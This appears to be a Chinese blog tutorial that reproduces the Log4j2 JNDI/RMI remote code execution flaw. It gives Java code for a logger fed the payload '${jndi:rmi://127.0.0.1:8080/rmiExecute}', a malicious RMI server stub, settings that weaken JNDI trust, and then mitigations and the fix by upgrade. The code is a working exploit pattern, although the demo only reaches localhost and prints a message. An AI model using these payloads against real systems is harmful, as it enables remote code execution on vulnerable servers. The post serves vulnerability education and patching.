Apache Log4j2远程代码执行漏洞复现

TOApache Log4j2远程代码执行漏洞复现

漏洞原理

log4j2版本 < log4j-2.15.0 可由JNDI/rmi注入实现远程代码执行。
影响版本Log4j2.x<=2.14.1漏洞复现
漏洞原理的分析:

创建复现工程demo

引入log4j 的jar包

版本在log4j 2.0~2.14.1范围里,demo中引入的版本是2.13.3,如下:

org.apache.logging.log4j
log4j-core
2.13.3

编写测试用例和jndi/rmi远程服务

1.log4j2 测试用例
package com.example.demo.log4j2;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @author lify
 * @version 1.0
 * @className Log4j2Test
 * <p>
 * TODO
 * @date 2021/12/10.
 */
public class Log4j2Test {
    private static Logger logger = LogManager.getLogger(Log4j2Test.class);

    public static void main(String[] args) {
//        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
        String name = "${java:vm}";
//        name = "${java:version}";
        name = "${java:os}";
        logger.error("hello,{}", name);

        name = "${jndi:rmi://127.0.0.1:8080/rmiExecute}";//# 黑客端的一个jdni的服务地址
        logger.error("hello,{}", name);
    }
}
2.远程rmi执行的服务
rmi服务
package com.example.demo.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;

/**
 * @author lify
 * @version 1.0
 * @className RmiServer
 * <p>
 * log4j2远程执行漏洞复现:rmi远程服务server
 * @date 2021/12/12.
 */
public class RmiServer {

    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(8080);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(new Reference("com.example.demo.rmi.RmiExecute", "com.example.demo.rmi.RmiExecute", null));
            registry.bind("rmiExecute", referenceWrapper);
            System.out.println("rmi Server 'rmiExecute/8080' Started!\n");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

具体执行[模拟输出一句话‘触发执行黑客的服务…’]

package com.example.demo.rmi;

/**
 * @author lify
 * @version 1.0
 * @className RmiExecute
 * <p>
 * 模拟远程黑客端执行
 * @date 2021/12/12.
 */
public class RmiExecute {
    static {
        System.out.println("触发执行黑客的服务.....");
    }
}

注意事项:
1.远程rmi服务的名称rmiExecute和端口号8080,在Log4j2Test的测试中需要一致;
2.如果以上执行不成功,可以在Log4j2Test放开:

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("java.rmi.server.useCodebaseOnly", "false");

漏洞复现

启动RmiServer服务;
执行Log4j2Test.main,执行结果如下:

Connected to the target VM, address: '127.0.0.1:50415', transport: 'socket'
12:37:15.687 [main] ERROR com.example.demo.log4j2.Log4j2Test - hello,Mac OS X 10.16 unknown, architecture: x86_64-64
触发执行黑客的服务.....
12:37:15.695 [main] ERROR com.example.demo.log4j2.Log4j2Test - hello,${jndi:rmi://127.0.0.1:8080/rmiExecute}
Disconnected from the target VM, address: '127.0.0.1:50415', transport: 'socket'

Process finished with exit code 0

如下图

在这里插入图片描述
rmi远程服务的代码已经在log4j2的日志输出时执行了;
是不是挺可怕的?!!! 赶紧去验证一下伙伴们负责的系统是不是中招了呢。

漏洞解决办法

1.临时处理办法:

(1). jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2). log4j2.formatMsgNoLookups=True
(3).系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

2.升级log4j2版本

Log4j 官方非常重视该漏洞,目前已经发布了最新版本解决了该漏洞,使用log4j-2.15.0即可;经过测试,2.15.0版本已经不能执行远程服务了,如下图:
在这里插入图片描述
伙伴们放心升级吧!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值